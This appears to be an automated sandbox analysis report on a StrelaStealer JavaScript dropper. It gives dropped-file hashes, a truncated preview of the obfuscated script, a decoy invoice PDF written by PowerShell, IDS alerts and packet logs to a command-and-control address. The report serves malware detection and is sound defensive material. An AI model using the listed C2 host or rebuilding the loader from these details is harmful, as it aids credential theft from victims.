Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\923af81a-72ab-460d-8727-0b7434137bc1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e6ad442e-3e3a-410d-b870-c7ed3f7d2b19.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:uoDbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZflYIGNPB:uyb3mlind9i4ufFXpAXkrfUs0qWLxXGE
MD5:	028E50A9240E7ABC213325033B50D7E3
SHA1:	B887C7BAC39B5D538756B59960853DF07F61456C
SHA-256:	6A16B5141D05F2999790496165BD322097E3374A2C9F6EE4B577CDBA7A1678E1
SHA-512:	0536563B37E1A971130C7F01277A7DB408F29FAD7DED5B48AD0A34125B9E278F7E77D815703985CF9E1FEEBF1C7AFFE6B73A52F490A0C359686E8BF57F4C95DD
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ea581fcc-cff4-477d-8595-c5abda807284.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18222), with CRLF line terminators
Entropy (8bit):	4.8943634871539095
TrID:
File name:	82691949257725140.js
File size:	21'652 bytes
MD5:	5d9f888f4d23ce935f287142c2ad6742
SHA1:	d293dc8971f548e822507e0342496976e34e49e6
SHA256:	67d546a2438d5224268f348e7a33b2def66d7d11836ee06d68f6739ca1faa0a2
SHA512:	44e17fd62db2c3ae97afbaa50df563baf62139b93dee122687de305a22f8a52e23cb8de552fa3ee0cd2df5599677f9e605f2caae2c300135b53fbbc8c96499b3
SSDEEP:	384:oCyP6CbfXan/pKn5eWHYp7JHER6I6UiGlu:oCyP6QE/pK5E3m53u
TLSH:	ABA2A7CBCA42C713A9E40B50F5D945FBA39D494A0AF4025EB44704B55788E78ABFB0FB
File Content Preview:	function dorav(){fptiwq=[1031,3079,5127,4103,2055,3072];var mxgbjt=this[ktoxwqnr+mbjudgp+brxzjfa+zyposv+znzep+bfkbec+esextro+czfmghei](this[ubjhmd+qdfhv+ppvby+brxzjfa+twhzynnte+ktoxwqnr+czfmghei][naqpe+brxzjfa+znzep+mbjudgp+czfmghei+znzep+lqvqwnjpz+mywoyv

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T01:44:58.518278+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T01:44:58.518278+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T01:45:01.017398+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:44:57.713365078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:57.718594074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:57.718703032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:57.724112988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:57.728900909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.518193007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.518209934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.518228054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.518239975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.518250942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.518258095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.518265009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.518276930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.518277884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.518287897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.518299103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.518371105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.518371105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.575697899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.575712919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.575746059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.575771093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.575829029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.575875044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.638736963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.638751984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.638763905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.638776064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.638792992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.638806105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.638817072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.638870001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.638920069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.639816046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.639831066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.639842033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.639852047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.639852047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.639862061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.639880896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.639905930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.640681982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.640691996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.640702009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.640711069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.640722036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.640727043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.640750885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.641386032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.641396046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.641406059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.641422033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.641443014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.662456036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.698719978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.698739052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.698839903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.699163914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.699176073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.699187040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.699214935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.699237108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.726402998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.726419926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.726550102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.759371996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.759426117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.759459019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.759475946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.759493113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.759507895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.759514093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.759522915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.759537935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.759547949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.759574890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.759587049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.760164022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.760174990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.760186911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.760198116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.760210037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.760219097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.760230064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.760266066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.760675907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.760723114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.760757923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.760771036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.760782957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.760793924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.760806084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.760811090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.760816097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.760831118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.760864973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.761744022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.761755943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.761766911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.761778116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.761789083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.761792898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.761800051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.761812925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.761830091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.761862993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.762675047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.762686968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.762696981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.762706041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.762717009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.762718916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.762728930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.762732029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.762741089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.762767076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.762794971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.763499975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.786007881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.786037922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.786091089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.786118984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.786124945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.786149025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.819011927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.819022894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.819032907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.819047928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.819057941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.819070101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.819081068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.819092989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.819098949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.819183111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.845781088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.845813036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.845865011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.845899105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.845938921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.845938921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.879462957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.879483938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.879499912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.879514933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.879530907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.879612923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.879627943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.879638910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.879648924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.879659891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.879668951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.879672050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.879672050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.879672050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.879679918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.879741907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.879741907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.880100012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.880110025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.880120039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.880142927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.880156994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.880167961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.880179882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.880189896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.880192041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.880215883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.880239964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.880671978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.880690098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.880701065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.880709887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.880719900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.880729914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.880740881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.880743027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.880759954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.880769014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.880783081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.880804062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.881294012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.881305933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.881318092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.881335020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.881344080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.881352901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.881356955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.881376028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 01:44:58.881460905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.881472111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.881481886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.881491899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 01:44:58.881500959 CET	49704	80	192.168.2.5	193.143.1.205
